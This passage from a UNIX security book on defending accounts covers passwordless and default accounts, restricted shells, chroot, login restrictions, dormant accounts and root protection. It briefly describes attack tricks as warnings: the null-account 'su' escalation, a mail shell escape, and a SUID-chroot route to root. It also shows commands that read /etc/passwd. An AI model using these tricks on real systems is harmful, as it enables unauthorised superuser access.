
% cat-passwd | awk -F: 'length($2)<1 {print $1}'
george
dan
%

In this example, george and dan don't have passwords. Take a look at their entries in the /etc/passwd file:

% egrep 'dan|george' /etc/passwd
george::132:10:George Bush:/usr/wash/george:/bin/csh
dan::132:10:Dan Quayle:/u/backyard/dan:/bin/csh
%

These two users have probably long forgotten about their accounts on this system. Their accounts should be disabled.

NOTE: The /etc/passwd file may not be the correct file to check for missing passwords on systems that have shadow password files (described later in this chapter) installed. Different shadow password schemes store the actual encrypted passwords in different locations. On some systems, the file to check may be /etc/shadow or /etc/secure/passwd. On some AT&T System V systems, passwords are stored on a user-by-user basis in individual files located underneath the /tcb directory. Check your own system's documentation for details. Also, systems using NIS, NIS+ or DCE may get the passwords from a server; see Chapter 19, RPC, NIS, NIS+, and Kerberos, for details.

8.1.2 Default Accounts

Many computer systems are delivered to end users with one or more default accounts. These accounts usually have standard passwords.

For example, many UNIX computers come with a root account that has no password. Vendors tell users to assign passwords to these accounts, but, too often, users do not. (UNIX is not alone with this problem; other operating systems come delivered with standard accounts like SYSTEM with the password set to MANAGER.)

One way around this problem that has been taken by several UNIX vendors is to have the operating system demand passwords for special accounts such as root when it is first installed. We hope that all vendors will adopt this approach in the future.

Make a list of all of the accounts that came with your computer system. (These accounts are normally at the beginning of the /etc/passwd file and have names like bin, lib, uucp, and news.) Either disable these accounts (as described later in this chapter) or change their passwords.

Some application programs automatically install accounts in the /etc/passwd file with names like demo (used to demonstrate the software). Be sure to delete or disable these accounts after the software is installed. Likewise, computers that are taken to trade shows sometimes have demo accounts created to make demonstrations easier to run. Remember to remove these accounts when the computer is returned. (Even better: erase the hard disk and reinstall the operating system. You never know what a computer might bring back from a trade show.)

Table 8.1 is a list of accounts that are commonly attacked. If you have any of these accounts, make sure that they are protected with strong passwords or that they are set up so they can do no damage if penetrated (see the sections below entitled "Accounts That Run a Single Command" and "Open Accounts").

Table 8.1: Account Names Commonly Attacked on UNIX Systems
open | help | games
guest | demo | maint
mail | finger | uucp
bin | toor | system
who | ingres | lp
nuucp | visitor |
manager | telnet |

8.1.3 Accounts That Run a Single Command

UNIX allows the system administrator to create accounts that simply run a single command or application program (rather than a shell) when a user logs into them. Often these accounts do not have passwords. Examples of such accounts include date, uptime, sync, and finger as shown below:

date::60000:100:Run the date program:/tmp:/sbin/date
uptime::60001:100:Run the uptime program:/tmp:/usr/ucb/uptime
finger::60002:100:Run the finger program:/tmp:/usr/ucb/finger
sync::60003:100:Run the sync program:/tmp:/sbin/sync

If you have these accounts installed on your computer, someone can use them to find out the time or to determine who's logged into your computer simply by typing the name of the command at the login: prompt. For example:

login: uptime
Last login: Tue Jul 31 07:43:10 on ttya

        Whammix V 17.1 ready to go!

9:44am up 7 days, 13:09, 4 users, load average: 0.92, 1.34, 1.51

login:

If you decide to set up an account of this type, you should be sure that the command it runs takes no keyboard input and can in no way be coerced into giving the user an interactive process. Specifically, these programs should not have shell escapes. Letting a user run the Berkeley mail program without logging in is dangerous, because the mail program allows the user to run any command by preceding a line of the mail message with a tilde and an exclamation mark.

% mail Sarah
Subject: test message
~!date
Wed Aug 1 09:56:42 EDT 1990

Allowing programs like who and finger to be run by someone who hasn't logged in is also a security risk, because these commands let people learn the names of accounts on your computer. Such information can be used as the basis for further attacks against your computer system.

NOTE: If you must have accounts that run a single command, do not have those accounts run with the UID of 0 (root) or of any other privileged user (such as bin, system, daemon, etc.)

8.1.4 Open Accounts

Many computer centers provide accounts on which visitors can play games while they are waiting for an appointment, or allow visitors to use a modem or network connection to contact their own computer systems. Typically these accounts have names like open, guest, or play. They usually do not require passwords.

Because the names and passwords of open accounts are often widely known and easily guessed, they are security breaches waiting to happen. An intruder can use an open account to gain initial access to your machine, and then use that access to probe for greater security lapses on the inside. At the very least, an intruder who is breaking into other sites might direct calls through the guest account on your machine, making their calls difficult or even impossible to trace.

Providing open accounts in your system is a very bad idea. If you must have them, for whatever reason, generate a new, random password daily for your visitors to use. Don't allow the password to be sent via electronic mail or given to anyone who doesn't need it for that day.

8.1.4.1 Restricted shells under System V UNIX

The System V UNIX shell can be invoked to operate in a restricted mode that can be used to minimize the dangers of an open account. This mode occurs when the shell is invoked with a -r command-line option, or with the command named rsh (restricted shell)[1] - usually as a link to the standard shell. When rsh starts up, it executes the commands in the file $HOME/.profile. Once the .profile is processed, the following restrictions go into effect:

[1] Not to be confused with rsh, the network remote-shell command. This conflict is unfortunate.

  • The user can't change the current directory.

  • The user can't change the value of the PATH environment variable.

  • The user can't use command names containing slashes.

  • The user can't redirect output with > or >>.

As an added security measure, if the user tries to interrupt rsh while it is processing the $HOME/.profile file, rsh immediately exits.

The net effect of these restrictions is to prevent the user from running any command that is not in a directory contained in the PATH environment variable, to prevent the user from changing his or her PATH, and to prevent the user from changing the .profile of the restricted account that sets the PATH variable in the first place.

You can further modify the .profile file to prevent the restricted account from being used over the network. You do this by having the shell script use the tty command to make sure that the user is attached to a physical terminal and not a network port.

Be aware that rsh is not a panacea. If the user is able to run another shell, such as sh or csh, the user will have the same access to your computer that he or she would have if the account was not restricted at all. Likewise, if the user can run a program that supports shell escapes, such as mail, the account is unrestricted (see below).

8.1.4.2 Restricted shells under Berkeley versions

Under Berkeley-derived UNIX, you can create a restricted shell by creating a hard link to the sh program and giving it the name rsh. When sh starts up, it looks at the program name under which it was invoked to determine what behavior it should have:

% ln /bin/sh /usr/etc/rsh

This restricted shell functions in the same manner as the System V rsh described above.

Note that a hard link will fail if the destination is on a different partition. If you need to put rsh and sh on different partition, try a symbolic link, which works on most systems. If it does not, or if your system does not support symbolic links, then consider copying the shell to the destination partition, rather than linking it.

You should be careful not to place this restricted shell in any of the standard system program directories, so that people don't accidentally execute it when they are trying to run the rsh remote shell program.

8.1.4.3 Restricted Korn shell

The Korn shell (ksh) can be configured to operate in a restricted mode as well, and be named rksh or krsh so as not to conflict with the network remote shell rsh. If ksh is invoked with the -r command-line option, or is started as rsh, it also executes in restricted mode. When in restricted mode, the Korn shell behaves as the System V restricted shell, except that additionally the user cannot modify the ENV or SHELL variables, nor can the user change the primary group using the newgrp command.

8.1.4.4 No restricted bash

The ( bsh) shell from the Free Software Foundation does not have a restricted mode.

8.1.4.5 How to set up a restricted account with rsh

To set up a restricted account that uses rsh, you must:

  • Create a special directory containing only the programs that the restricted shell can run.

  • Create a special user account that has the restricted shell as its login shell.

NOTE: The setup we show in the following example is not entirely safe, as we explain later in this chapter.

For example, to set up a restricted shell that lets guests play rogue and hack, and use the talk program, first create a user called player that has /bin/rsh as its shell and /usr/rsh/home as its home directory:

player::100:100:The Games Guest user:/usr/rshhome:/bin/rsh

Next, create a directory for only the programs you want the guest to use, and fill the directory with the appropriate links:

# mkdir /usr/rshhome /usr/rshhome/bin
# ln /usr/games/hack /usr/rshhome/bin/hack
# ln /usr/games/rogue /usr/rshhome/bin/rogue
# ln /usr/bin/talk /usr/rshhome/bin/talk
# chmod 555 /usr/rshhome/bin
# chmod 555 /usr/rshhome

Finally, create a .profile for the player user that sets the PATH environment variable and prints some instructions:

# cat > /usr/rshhome/.profile
/bin/echo This guest account is only for the use of authorized guests.
/bin/echo You can run the following programs:
/bin/echo rogue A role playing game
/bin/echo hack A better role playing game
/bin/echo talk A program to talk with other people.
/bin/echo
/bin/echo Type "logout" to log out.
PATH=/usr/rshhome/bin
SHELL=/bin/rsh
export PATH SHELL
^D
# chmod 444 /usr/rshhome/.profile
# chown player /usr/rshhome/.profile
# chmod 500 /usr/rshhome

8.1.4.6 Potential problems with rsh

Be especially careful when you use rsh, because many UNIX commands allow shell escapes, or means of executing arbitrary commands or subshells from within themselves. Many programs that have shell escapes do not document this feature; several popular games fall into this category. If a program that can be run by a "restricted" account has the ability to run subprograms, then the account may not be restricted at all. For example, if the restricted account can use man to read reference pages, then a person using the restricted account can use man to start up an editor, then spawn a shell, and then run programs on the system.

For instance, in our above example, all of the commands linked into the restricted bin will spawn a subshell when presented with the appropriate input. Thus, although the account appears to be restricted, it will actually only slow down users who don't know about shell escapes.

8.1.5 Restricted Filesystem

Another way to restrict some users on your system is to put them into a restricted filesystem. You can construct an environment where they have limited access to commands and files, but can still have access to a regular shell (or a restricted shell if you prefer). The way to do this is with the chroot () system call. chroot () changes a process's view of the filesystem such that the apparent root directory is not the real filesystem root directory, but one of its descendents.

SVR4 has a feature to do this change automatically. If the shell field (field 7) for a user in the /etc/passwd file is a "*" symbol, then the login program will make a chroot () call on the home directory field (field 6) listed in the entry. It will then reexecute the login program - only this time, it will be the login program in the reduced filesystem, and will be using the new passwd file found there (one that has a real shell listed, we would expect). If you do not have this feature in your version of UNIX, you can easily write a small program to do so (it will need to be SUID root for the chroot() call to function), and place the program's pathname in the shell field instead of one of the shells.

The restricted filesystem so named must have all the necessary files and commands for the login program to run and to execute programs (including shared libraries). Thus, the reduced filesystem needs to have an /etc directory, a /lib and /usr/lib directory, and a /bin directory. However, these directories do not need to contain all of the files and programs in the standard directories. Instead, you can copy or link only those files necessary for the user.[2] Remember to avoid symbolic links reaching out of the restricted area, because the associated directories will not be visible. Using loopback mounts of the filesystem in read-only mode is one good way to populate these limited filesystems as it also protects the files from modification. Figure 1.1 shows how the restricted filesystem is part of the regular filesystem.

[2] This may take some experimentation on your part to get the correct setup of files.

Figure 8.1: Example of restricted filesystem

There are at least two good uses for such an environment.

8.1.5.1 Limited users

You may have occasion to give access to some users for a set of limited tasks. For instance, you may have an online company directory and an order-tracking front end to a customer database, and you might like to make these available to your customer service personnel. There is no need to make all of your files and commands accessible to these users. Instead, you can set up a minimal account structure so that they can log in, use standard programs that you provide, and have the necessary access. At the same time, you have put another layer of protection between your general system and the outside: if intruders manage to break the password of one of these users and enter the accounts, they will not have access to the real /etc/passwd (to download and crack), nor will they have access to network commands to copy files in or out, nor will they be able to compile new programs to do the same.

8.1.5.2 Checking new software

Another use of a restricted environment is to test new software of perhaps questionable origin. In this case, you configure an environment for testing, and enter it with either the chroot () system command or with a program that executes chroot() on your behalf. Then, when you test the software you have obtained, or unpack an archive, or perform any other possibly risky operation, the only files you will affect are the ones you put in the restricted environment - not everything in the whole filesystem!

NOTE: Be very, very careful about creating any SUID programs that make a chroot() call. If any user can write to the directory to which the program chroot's, or if the user can specify the directory to which the chroot() occurs, the user could become a superuser on your system. To do this, he need only change the password file in the restricted environment to give himself the ability to su to root, change to the restricted environment, create a SUID root shell, and then log back in as the regular user to execute the SUID shell.

8.1.6 Group Accounts

A group account is an account that is used by more than one person. Group accounts are often created to allow a group of people to work on the same project without requiring that an account be built for each person. Other times, group accounts are created when several different people have to use the same computer for a short period of time. In many introductory computer courses, for example, there is a group account created for the course; different students store their files in different subdirectories or on floppy disks.

Group accounts are always a bad idea, because they eliminate accountability. If you discover that an account shared by 50 people has been used to break into computers across the United States, tracking down the individual responsible will be nearly impossible. Furthermore, a person is far more likely to disclose the password for a group account than he is to release the password for an account to which he alone has access. An account that is officially used by 50 people may in fact be used by 150; you have no way of knowing.

Instead of creating group accounts, create an account for each person in the group. If the individuals are all working on the same project, create a new UNIX group in the file /etc/group, and make every user who is affiliated with the project part of the group. This method has the added advantage of allowing each user to have his own start-up and dot files.

For example, to create a group called spistol with the users sid, john, and nancy in it, you might create the following entry in /etc/group:

spistol:*:201:sid,john,nancy

Then be sure that Sid, John, and Nancy understand how to set permissions and use necessary commands to work with the group account. In particular, they should set their umask to 002 or 007 while working on the group project.

NOTE: Some versions of UNIX limit the number of characters that can be specified in a single line. If you discover that you cannot place more than a certain number of users in a particular group, the above restriction might be the cause of your problem. In such a case, you may wish to place each user in the group by specifying the group in the user's /etc/passwd entry. Or, you may wish to move to a network configuration-management system, such as NIS+ or DCE, which is less likely to have such limitations.

Previous: 7.4 Software for Backups | Practical UNIX & Internet Security | Next: 8.2 Monitoring File Format
7.4 Software for Backups | Book Index | 8.2 Monitoring File Format


[Chapter 8] 8.2 Monitoring File Format

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.1 Dangerous Accounts Chapter 8
Defending Your Accounts 		Next: 8.3 Restricting Logins

8.2 Monitoring File Format

Most programs that access the /etc/passwd and /etc/group files are very sensitive to problems in the formatting of those files, or to bad values. Because of the compact representation of the file, entries that are badly formatted could be hidden.

Traditionally, a number of break-ins to UNIX systems occurred when a program that was designed to write to the /etc/passwd file was given bad input. For instance, early versions of the chfn and yppasswd commands could be given input with ":" characters or too many characters. The result was a badly formatted record to write to the /etc/passwd file. Because of the way the records were written, the associated library routines that wrote to the file would truncate or pad the entries, and might produce an entry at the end that looked like:

::0:0:::

This type of entry would then allow a local user to become a superuser by typing:

$ su ''
#

(The above example changes the user to the null-named account.) Clearly, this result is undesirable.

You should check the format of both the passwd and group files on a regular basis. With many versions of UNIX with System V ancestry, there are two commands on the system that will check the files for number of fields, valid fields, and other consistency factors. These two programs are pwck and grpck; they are usually found in /etc or /usr/sbin.

Also on SVR4 systems is the logins command. When issued with the -p option, it will check for any accounts without a password. When issued with the -d option, it will check for duplicate IDs - including accounts that have an ID of 0 in addition to the root account.

If you do not have access to these commands, you can write your own to do some of these same checks. For instance:

# awk -F: 'NF != 7 || $2 == 0 { print "Problem with" $0}' /etc/passwd

Previous: 8.1 Dangerous Accounts | Practical UNIX & Internet Security | Next: 8.3 Restricting Logins
8.1 Dangerous Accounts | Book Index | 8.3 Restricting Logins


[Chapter 8] 8.3 Restricting Logins

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.2 Monitoring File Format Chapter 8
Defending Your Accounts 		Next: 8.4 Managing Dormant Accounts

8.3 Restricting Logins

Some systems have (or will soon have) the ability to restrict the circumstances under which each user may log in. In particular, you could specify times of day and days of the week for each account during which a user may not log in. You could also restrict the login account to a particular terminal line.

These restrictions are very useful additional features to have, if they are available. They help prohibit access to accounts that are only used in a limited environment, thus narrowing the "window of opportunity" an attacker might have to exploit the system.

For example, if your system is used in a business setting, perhaps the VP of finance will never log in from any network terminal, and he is never at work outside the hours of 7 a.m. to 7 p.m. on weekdays. Thus, you could configure his account to prohibit any logins outside those terminals and those hours. If an attacker knew the account existed and was involved in password cracking or other intelligence gathering over an off-site network connection, she would not be able to get in even if she stumbled across the correct password.

If your system does not support this feature yet, you can ask your vendor when it will be provided. If you want to put in your own version, you can do so with a simple shell script:

  1. First, write a script something like the following and put it in a secure location, such as /etc/security/restrictions/fred:

    #!/bin/ksh

allowed_ttys="/dev/tty@(01|02|03)"
allowed_days="@(Mon|Tue|Wed|Thu|Fri)"
allowed_hours="(( hour >= 7 && hour <= 19))"
real_shell=/bin/ksh

my_tty="$(bin/tty)"
dow="$(/bin/date +%a)"
hour=$(/bin/date +%H)

eval [[ $my_tty != $allowed_ttys ]] && exit 1
eval [[ $dow != $allowed_days ]] && exit 1
eval $allowed_hours || exit 1

exec -a -${real_shell##*/} $real_shell "${1+"$@"}

  2. Replace the user's login shell with this script in the /etc/passwd file. Do so with the usermod -s command, the vipw command, or equivalent:

    # usermod -s /etc/security/restrictions/fred fred

  3. Remove the user's ability to change his or her own shell. If everyone on the system is going to have constraints on login place and time, then you can simply:

    # chmod 0 /bin/chsh

    This method is preferable to deleting the command entirely because you might need it again later.[3]

    [3] Be very careful when running this command as it will only work if /bin/chsh is a single-purpose program that only changes the user's shell. If passwd is a link to chsh (or other password utilities), the chmod can break a lot of things. Under SunOS, 4.1.x, /bin/passwd is a hard link to /bin/chfn, so if you do this chmod, people won't be able to change passwords either! (This may be the case for other operating systems as well.) Note as well that removing chsh won't work either in this case because users can ln -s /bin/passwd chfn and run it that way. Finally, some passwd programs have the chfn functionality as a command line option! On these systems, you can only prevent a user from changing his shell by removing the unapproved shells from the /etc/shells file.

    If only a few people are going to have restricted access, create a new group named restricta (or similar), and add all the users to that group. Then, do:

    #   chmod 505 /bin/chsh # chgrp restricta /bin/chsh

    This will allow other users to change their shells, but not anyone in the restricta group.

NOTE: If you take this approach, either with a vendor-supplied method or something like the example above, keep in mind that there are circumstances where some users may need access at different times. In particular, users traveling to different time zones, or working on big year-end projects, may need other forms of access. It is important that someone with the appropriate privileges is on call to alter these restrictions, if needed. Remember that the goal of security is to protect users, and not get in the way of their work!

Previous: 8.2 Monitoring File Format | Practical UNIX & Internet Security | Next: 8.4 Managing Dormant Accounts
8.2 Monitoring File Format | Book Index | 8.4 Managing Dormant Accounts


[Chapter 8] 8.4 Managing Dormant Accounts

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.3 Restricting Logins Chapter 8
Defending Your Accounts 		Next: 8.5 Protecting the root Account

8.4 Managing Dormant Accounts

If a user is going to be gone for an extended period of time, you may wish to consider preventing direct logins to the user's account until his or her return. This assures that an intruder won't use the person's account in his or her absence. You may also wish to disable accounts that are seldom used, enabling them only as needed.

There are three simple ways to prevent logins to an account:

  1. Change the account's password.

  2. Modify the account's password so it can't be used.

  3. Change the account's login shell.

Actually, you may want to consider doing all three.

8.4.1 Changing an Account's Password

You can prevent logins to a user's account by changing his password to something he doesn't know. Remember, you must be the superuser to change another user's password.

For example, you can change mary's password simply by typing the following:

# passwd mary
New password: dis1296
Retype new password: dis1296

Because you are the superuser, you won't be prompted for the user's old password.

This approach causes the operating system to forget the user's old password and install the new one. Presumably, when the proper user of the account finds herself unable to log in, she will contact you and arrange to have the password changed to something else.

Alternatively, you can prevent logins to an account by inserting an asterisk in the password field of the user's account. For example, consider a sample /etc/passwd entry for mary:

mary:fdfdi3k1j1234:105:100:Mary Sue Lewis:/u/mary:/bin/csh

To prevent logins to Mary's account, change the password field to look like this:

mary:*fdfdi3k1j1234:105:100:Mary Sue Lewis:/u/mary:/bin/csh

Mary won't be able to use her account until you remove the asterisk. When you remove it, she will have her original password back. We describe this in greater detail later in "Disabling an Account by Changing its Password."

If you use shadow passwords on your system, be sure you are editing the password file that contains them, and not /etc/passwd. You can tell that you are using shadow passwords if the password field in /etc/passwd is blank or contains an asterisk or hash marks for every password, instead of containing regular encrypted passwords.

Some UNIX versions require that you use a special command to edit the password file. This command ensures that two people are not editing the file at the same time, and also rebuilds system databases if necessary. On Berkeley-derived systems, the command is called vipw.

Under System V-derived versions of UNIX, you can accomplish the same thing as adding an asterisk by using the -l option to the passwd command:

# passwd -l mary

NOTE: Note that if you use the asterisk in the password file to disable the account, it could still be used with su, or from a remote login using the trusted hosts mechanism (~/.rhosts file or /etc/hosts.equiv). (For more information, see Chapter 17, TCP/IP Services). Thus, changing the password is not sufficient to block access to an account on such a system.

8.4.2 Changing the Account's Login Shell

Another way to prevent direct logins to an account is to change the account's login shell so that instead of letting the user type commands, the system simply prints an informative message and exits. This change effectively disables the account. For example, you might change the line in /etc/passwd for the mary account from this:

mary:fdfdi3k1j$:105:100:Mary Sue Lewis:/u/mary:/bin/csh

to this:

mary:fdfdi3k1j$:105:100:Mary Sue Lewis:/u/mary:/etc/disabled

You would then create a shell script called /etc/disabled:

#!/bin/sh
/bin/echo Your account has been disabled because you seem to have
/bin/echo forgotten about it. If you want your account back, please
/bin/echo call Jay at 301-555-1234.
/bin/sleep 10

When Mary tries to log in, this is what she will see:

bigblu login: mary
password: mary1234
Last login: Sun Jan 20 12:10:08 on ttyd3

        Whammix V17.1 ready to go!

Your account has been disabled because you seem to have
forgotten about it. If you want your account back, please
call Jay at 301-555-1234.

bigblu login:

NOTE: Most versions of the ftpd FTP daemon will block access for users who have shells that are not listed in the file /etc/shells. Some versions, though, will not. You should check your FTP daemon for this behavior. If it does not block access, you may wish to change both the password and the shell to disable an account.

8.4.3 Finding Dormant Accounts

Accounts that haven't been used for an extended period of time are a potential security problem. They may belong to someone who has left or is on extended leave, and therefore the account is unwatched. If the account is broken into or the files are otherwise tampered with, the legitimate user might not take notice for some time to come. Therefore, disabling dormant accounts is good policy.

One way to disable accounts automatically when they become dormant (according to your definition of dormant) is to set a dormancy threshold on the account. Under System VR4, you can do this with the -f option to the usermod command:

# usermod -f 10 spaf

In this example, user spaf will have his account locked if a login is not made at least once during any 10-day period. (Note that having an active session continue operation during this interval is not sufficient - the option requires a login.)

If your version of UNIX is not SVR4 and does not have something equivalent, you will need to find another way to identify dormant accounts. Below is a simple shell script called not-this-month, which uses the last command to produce a list of the users who haven't logged in during the current month. Run it the last day of the month to produce a list of accounts that you may wish to disable:

#!/bin/sh
#
# not-this-month:
# Gives a list of users who have not logged in this month.
#
PATH=/bin:/usr/bin;export PATH
umask 077
THIS_MONTH=`date | awk '{print $2}'`
/bin/last | /bin/grep $THIS_MONTH | awk '{print $1}' |  /bin/sort -u > /tmp/users1$$
cat-passwd | /bin/awk -F: '{print $1}' | /bin/sort -u > /tmp/users2$$
/bin/comm -13 /tmp/users[12]$$
/bin/rm -f /tmp/users[12]$$

The following explains the details of this shell script:

umask 077

Sets the umask value so that other users on your system will not be able to read the temporary files in /tmp.

PATH = /bin:/usr/bin

Sets up a safe path.

THIS_MONTH=`date | awk "{print $2}"`

Sets the shell variable THIS_MONTH to be the name of the current month.

last

Generates a list of all of the logins on record.

| grep $THIS_MONTH

Filters the above list so that it includes only the logins that happened this month.

| awk '{print $1}'

Selects out the login name from the above list.

| sort -u

Sorts the list of logins alphabetically, and removes multiple instances of account names.

cat -passwd | awk -F: '{print $1}'

Generates a list of the usernames of every user on the system.[4]

[4] Recall that we told you earlier that we would define cat-passwd to be the system-specific set of commands to print the contents of the password file.

comm -13

Prints items present in the second file, but not the first: the names of accounts that have not been used this month.

This shell script assumes that the database used by the last program has been kept for at least one month.

After you have determined which accounts have not been used recently, consider disabling them or contacting their owners. Of course, do not disable accounts such as root, bin, uucp, and news that are used for administrative purposes and system functions. Also remember that users who only access their account with the rsh (the remote shell command) or su commands won't show up with the last command.

End Historical Accounts!

We have seen cases where systems had account entries in the password file for users who had left the organization years before and had never logged in since. In at least one case, we saw logins for users that had not been active for more than three years, but the accounts had ever-expanding mailboxes from system-wide mail and even some off-site mailing lists! The problem was that the policy for removing accounts was to leave them until someone told the admin to delete them - something often overlooked or forgotten.

The easiest way to eliminate these historically dormant accounts on your system is to create every user account with a fixed expiration time. Users of active accounts should be required to renew their accounts periodically. In this way, accounts that become dormant will automatically expire if not renewed and they don't become a liability.

Under SVR4, you can do this with the usermod command:

# usermod -e 12/31/97 spaf

Other systems may have a method of doing this. If nothing else, you can add an entry to the crontab to mail you a reminder to disable an account when it expires. You must couple this with periodic scans to determine which accounts are inactive, and then remove them from the system (after archiving them to offline storage, of course).

By having users renew their accounts periodically, you can verify that they still need the resources and access you have allocated. You can also use the renewal process as a trigger for some user awareness training.

NOTE: In most environments, the last program only reports logins and logouts on the computer running it. Therefore, this script will not report users who have used other computers that are on the network, but have not used the computer on which the script is being run.

Discovering dormant accounts in a networked environment can be a challenging problem. Instead of looking at login/logout log files, you may wish to examine other traces of user activity, such as the last time that email was sent or read, or the access times on the files in a user's home directory.

Previous: 8.3 Restricting Logins | Practical UNIX & Internet Security | Next: 8.5 Protecting the root Account
8.3 Restricting Logins | Book Index | 8.5 Protecting the root Account


[Chapter 8] 8.5 Protecting the root Account

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.4 Managing Dormant Accounts Chapter 8
Defending Your Accounts 		Next: 8.6 The UNIX Encrypted Password System

8.5 Protecting the root Account

Versions of UNIX that are derived from Berkeley UNIX systems provide two additional methods of protecting the root account:

  • Secure terminals

  • The wheel group

A few systems provide an additional set of features, known as a trusted path and a trusted computing base (TCB).

8.5.1 Secure Terminals

Because every UNIX system has an account named root, this account is often a starting point for people who try to break into a system by guessing passwords. One way to decrease the chance of this is to restrict logins from all but physically guarded terminals. If a terminal is marked as restricted, the superuser cannot log into that terminal from the login: prompt. (However, a legitimate user who knows the superuser password can still use the su command on that terminal after first logging in.)

On a SVR4 machine, you can restrict the ability of users to log in to the root account from any terminal other than the console. You accomplish this by editing the file /etc/default/login and inserting the line:

CONSOLE=/dev/console

This line prevents anyone from logging in as root on any terminal other than the console. If the console is not safe, you may set this to the pathname of a nonexistent terminal.

Some older Berkeley-derived versions of UNIX allow you to declare terminal lines and network ports as either secure or not secure. You declare a terminal secure by appending the word "secure" to the terminal's definition in the file /etc/ttys:[5]

[5] Under SunOS and some other versions of UNIX, this file is called /etc/ttytab. Some older versions of BSD store the list of secure ports in the file /etc/securettys.

tty01 "/usr/etc/getty std.9600" vt100 on secure
tty02 "/usr/etc/getty std.9600" vt100 on

In this example taken from a /etc/ttys file, terminal tty01 is secure and terminal tty02 is not. This means that root can log into terminal tty01 but not tty02.

Note that after changing the /etc/ttys file, you may need to send out a signal to initialize before the changes will take effect. On a BSD-derived system, run:

# kill -1 1

Other systems vary, so check your own system's documentation.

You should carefully consider which terminals are declared secure. Many sites, for example, make neither their dial in modems nor their network connections secure; this prevents intruders from using these connections to guess the system's superuser password. Terminals in public areas should also not be declared secure. Being "not secure" does not prevent a person from executing commands as the superuser: it simply forces users to log in as themselves and then use the su command to become root. This method adds an extra layer of protection and accounting.

On the other hand, if your computer has a terminal in a special machine room, you may wish to make this terminal secure so you can quickly use it to log into the superuser account without having first to log into your own account.

NOTE: Many versions of UNIX require that you type the superuser password when booting in single-user mode if the console is not listed as "secure" in the /etc/ttys file. Obviously, if you do not mark your console "secure," you enhance your system's security.

8.5.2 The wheel Group

Another mechanism that further protects the root account is the wheel group. A user who is not in the wheel group cannot use the su command to become the superuser. Be very careful about who you place in the wheel group; on some versions of UNIX, people in the wheel group can provide their own passwords to su - instead of the superuser password - and become root.

8.5.3 TCB and Trusted Path

When you are worried about security, you want to ensure that the commands you execute are the real system commands and not something designed to steal your password or corrupt your system. Some versions of UNIX have been augmented with special features to provide you with this additional assurance.

8.5.3.1 Trusted path

Consider the case where we approach a terminal and wish to log in to the system. What is a potential problem? What if someone has left a program - a Trojan Horse[6] program - running on the terminal? If the program has been designed to capture our password by presenting a prompt that looks like the real login program, we might not be able to tell the difference until the damage is done. If the program has been very carefully crafted to catch signals and otherwise mimic the login program behavior, we might not catch on at all. And if you are not using one-time passwords (described later in Section 8.7, "One-Time Passwords), you may be giving someone else access to your account.

[6] Trojan Horse programs are defined in more detail in Chapter 11, Protecting Against Programmed Threats.

The solution to this is to provide a trusted path to the login program from our terminal. Some UNIX systems, including AIX and Ultrix, can be configured to recognize a special signal from hardwired terminals (including workstation consoles) for this purpose. When the signal (usually a BREAK, or some sequence of control characters) is received by the low-level terminal driver, the driver sends an unstoppable signal to all processes still connected to the terminal, that terminates them. Thereafter, a new session is started and the user can be assured that the next prompt for a login is from the real system software.

For a trusted path mechanism to work, you must have a hardwired connection to the computer: any networked connection can be intercepted and spoofed.[7] The system administrator must enable the trusted path mechanism and indicate to which terminal lines it is to be applied. As this may require reconfiguring your kernel and rebooting (to include the necessary terminal code), you should carefully read your vendor documentation for instructions on how to enable this feature.

[7] Network login have other potential problems, such as password sniffing.

If your system provides the trusted path mechanism and you decide to use it, be sure to limit superuser logins to only the associated terminals!

8.5.3.2 Trusted computing base

After we've logged in, we may be faced with situations where we are not quite certain if we are executing a trusted system command or a command put in place by a prankster or intruder. If we are running as the superuser, this uncertainty is a recipe for disaster, and is why we repeatedly warn you throughout the book to leave the current directory out of your search path, and to keep system commands protected.

Some systems can be configured to mark executable files as part of the trusted computing base (TCB). Files in the TCB are specially marked by the superuser as trusted. When running a special trusted shell, only files with the TCB marking can be executed with exec (). Thus, only trusted files can be executed.

How do files get their trusted markings? New files and modified TCB files have the marking turned off. The superuser can mark new executable files as part of the TCB; on some systems, this process can only be done if the file was created with programs in the TCB. In theory, an attacker will not be able to be superuser, (or set the marking on files) and thus the superuser cannot accidentally execute dangerous code.

This feature is especially worthwhile if you are administering a multiuser system, or if you tend to import files and filesystems from other, potentially untrusted, systems. However, you must keep in mind that the marking does not necessarily mean that the program is harmless. As the superuser can mark files as part of the TCB, some of those files might be dangerous. Thus, remember that the TCB, like any other feature, only reinforces overall security.

Previous: 8.4 Managing Dormant Accounts | Practical UNIX & Internet Security | Next: 8.6 The UNIX Encrypted Password System
8.4 Managing Dormant Accounts | Book Index | 8.6 The UNIX Encrypted Password System


[Chapter 8] 8.6 The UNIX Encrypted Password System

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.5 Protecting the root Account Chapter 8
Defending Your Accounts 		Next: 8.7 One-Time Passwords

8.6 The UNIX Encrypted Password System

When UNIX requests your password, it needs some way of determining that the password you type is the correct one. Many early computer systems (and quite a few still around today!) kept the passwords for all of their accounts plainly visible in a so-called "password file" that really contained the passwords. Under normal circumstances, the system protected the passwords so that they could be accessed only by privileged users and operating system utilities. But through accident, programming error, or deliberate act, the contents of the password file almost invariably become available to unprivileged users. This scenario is illustrated in the following remembrance:

Perhaps the most memorable such occasion occurred in the early 1960s when a system administrator on the CTSS system at MIT was editing the password file and another system administrator was editing the daily message that is printed on everyone's terminal on login. Due to a software design error, the temporary editor files of the two users were interchanged and thus, for a time, the password file was printed on every terminal when it was logged in. - Robert Morris and Ken Thompson, Password Security: A Case History

The real danger posed by such systems, wrote Morris and Thompson, is not that software problems will cause a recurrence of this event, but that people can make copies of the password file and purloin them without the knowledge of the system administrator. For example, if the password file is saved on backup tapes, then those backups must be kept in a physically secure place. If a backup tape is stolen, then everybody's password must be changed.

UNIX avoids this problem by not keeping actual passwords anywhere on the system. Instead, UNIX stores a value that is generated by using the password to encrypt a block of zero bits with a one-way function called crypt( ); the result of the calculation is (usually) stored in the file /etc/passwd. When you try to log in, the program / bin/login does not actually decrypt your password. Instead, /bin/login takes the password that you typed, uses it to transform another block of zeros, and compares the newly transformed block with the block stored in the /etc/passwd file. If the two encrypted results match, the system lets you in.

